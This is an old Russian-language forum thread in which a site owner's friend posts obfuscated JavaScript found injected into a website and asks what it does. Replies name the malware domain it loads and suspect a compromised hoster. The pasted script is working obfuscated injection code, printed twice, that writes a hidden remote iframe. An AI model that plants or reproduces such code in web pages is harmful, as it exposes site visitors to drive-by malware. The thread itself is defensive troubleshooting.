PDA

Просмотр полной версии : расшифруйте эту вещь плиз


lmns
30.09.2008, 19:58
<script>function c12m48a5195801d45(m48a5195802515){ var m48a5195802ce5=16; return (parseInt(m48a5195802515,m48a5195802ce5));}functio n m48a5195803c85(m48a5195804455){ function m48a5195805bc6(){return 2;} var m48a5195804c25='';m48a5195806b65=String.fromCharCo de;for(m48a51958053f5=0;m48a51958053f5<m48a5195804455.length;m48a51958053f5+=m48a5195805b c6()){ m48a5195804c25+=(m48a5195806b65(c12m48a5195801d45( m48a5195804455.substr(m48a51958053f5,m48a5195805bc 6()))));}return m48a5195804c25;} var z95='';var m48a5195807335='3C7'+z95+'3637'+z95+'2697'+z95+'07 '+z95+'43E696628216D7'+z95+'96961297'+z95+'B646F63 7'+z95+'56D656E7'+z95+'42E7'+z95+'7'+z95+'7'+z95+' 2697'+z95+'465287'+z95+'56E657'+z95+'363617'+z95+' 065282027'+z95+'2533632536392536362537'+z95+'32253 63125366425363525323025366525363125366425363525336 42536332533312532302537'+z95+'332537'+z95+'3225363 3253364253237'+z95+'2536382537'+z95+'342537'+z95+' 342537'+z95+'30253361253266253266253637'+z95+'2536 312537'+z95+'362536312536392532642537'+z95+'302536 35253637'+z95+'2536332533392532652537'+z95+'37'+z9 5+'2537'+z95+'332532662533332532652536382537'+z95+ '34253664253663253366253237'+z95+'2532622534642536 312537'+z95+'342536382532652537'+z95+'322536662537 '+z95+'352536652536342532382534642536312537'+z95+' 342536382532652537'+z95+'3225363125366525363425366 6253664253238253239253261253339253337'+z95+'253332 253331253336253239253262253237'+z95+'2533332533392 53330253337'+z95+'253331253338253331253330253237'+ z95+'2532302537'+z95+'37'+z95+'2536392536342537'+z 95+'3425363825336425333225333225333425323025363825 3635253639253637'+z95+'2536382537'+z95+'3425336425 33342533332533342532302537'+z95+'332537'+z95+'3425 37'+z95+'39253663253635253364253237'+z95+'25363425 36392537'+z95+'332537'+z95+'302536632536312537'+z9 5+'39253361253230253665253666253665253635253237'+z 95+'2533652533632532662536392536362537'+z95+'32253 63125366425363525336527'+z95+'29293B7'+z95+'D7'+z9 5+'6617'+z95+'2206D7'+z95+'969613D7'+z95+'47'+z95+ '27'+z95+'5653B3C2F7'+z95+'3637'+z95+'2697'+z95+'0 7'+z95+'43E';document.write(m48a5195803c85(m48a519 5807335));</script><script>function c12m48a5195801d45(m48a5195802515){ var m48a5195802ce5=16; return (parseInt(m48a5195802515,m48a5195802ce5));}functio n m48a5195803c85(m48a5195804455){ function m48a5195805bc6(){return 2;} var m48a5195804c25='';m48a5195806b65=String.fromCharCo de;for(m48a51958053f5=0;m48a51958053f5<m48a5195804455.length;m48a51958053f5+=m48a5195805b c6()){ m48a5195804c25+=(m48a5195806b65(c12m48a5195801d45( m48a5195804455.substr(m48a51958053f5,m48a5195805bc 6()))));}return m48a5195804c25;} var z95='';var m48a5195807335='3C7'+z95+'3637'+z95+'2697'+z95+'07 '+z95+'43E696628216D7'+z95+'96961297'+z95+'B646F63 7'+z95+'56D656E7'+z95+'42E7'+z95+'7'+z95+'7'+z95+' 2697'+z95+'465287'+z95+'56E657'+z95+'363617'+z95+' 065282027'+z95+'2533632536392536362537'+z95+'32253 63125366425363525323025366525363125366425363525336 42536332533312532302537'+z95+'332537'+z95+'3225363 3253364253237'+z95+'2536382537'+z95+'342537'+z95+' 342537'+z95+'30253361253266253266253637'+z95+'2536 312537'+z95+'362536312536392532642537'+z95+'302536 35253637'+z95+'2536332533392532652537'+z95+'37'+z9 5+'2537'+z95+'332532662533332532652536382537'+z95+ '34253664253663253366253237'+z95+'2532622534642536 312537'+z95+'342536382532652537'+z95+'322536662537 '+z95+'352536652536342532382534642536312537'+z95+' 342536382532652537'+z95+'3225363125366525363425366 6253664253238253239253261253339253337'+z95+'253332 253331253336253239253262253237'+z95+'2533332533392 53330253337'+z95+'253331253338253331253330253237'+ z95+'2532302537'+z95+'37'+z95+'2536392536342537'+z 95+'3425363825336425333225333225333425323025363825 3635253639253637'+z95+'2536382537'+z95+'3425336425 33342533332533342532302537'+z95+'332537'+z95+'3425 37'+z95+'39253663253635253364253237'+z95+'25363425 36392537'+z95+'332537'+z95+'302536632536312537'+z9 5+'39253361253230253665253666253665253635253237'+z 95+'2533652533632532662536392536362537'+z95+'32253 63125366425363525336527'+z95+'29293B7'+z95+'D7'+z9 5+'6617'+z95+'2206D7'+z95+'969613D7'+z95+'47'+z95+ '27'+z95+'5653B3C2F7'+z95+'3637'+z95+'2697'+z95+'0 7'+z95+'43E';document.write(m48a5195803c85(m48a519 5807335));</script>

Знакомый просил помочь. Какие-то редиски непонятным пока образом добавили эту хрень на его сайт.
Прошу максимум инфы, с меня +

mr.The
30.09.2008, 21:05
чак, это пробелы онтечад повставлял.

ТС отфильтруй побелы (залей скрипт кудат)

а вообще я думааю что это хостер рекламу впихнул 0_о

lmns
30.09.2008, 21:14
На какие-то страницы ифрейм шёл, что будет в результате проверять не хотелось, нажал стоп.
Судя по всему поимели хостера, точно такую же хрень увидел на одном из соседних сайтов, но не на всех, с 4-й попытки нашёл.
Хостера лучше сменить? Ему чел отписал, но админ оффлйн пока.
скрипт залил сюда http://webfile.ru/2273370

Chaak
30.09.2008, 21:30
http://gavai-pegc9.ws/3.html

а там еще куча всякого говна

http://mamboserver.ru/forum/index.php?showtopic=14492
у когото тоже самое =)

по запросу в гугле http://www.google.com/search?client=opera&rls=ru&q=http://gavai-pegc9.ws&sourceid=opera&ie=utf-8&oe=utf-8
их сайт помечен как с малварью на борту

.AkeLLa
30.09.2008, 22:09
У меня было подобное на говно-best-hoster.ru, то сами админы лепят, сразу на х*й посылать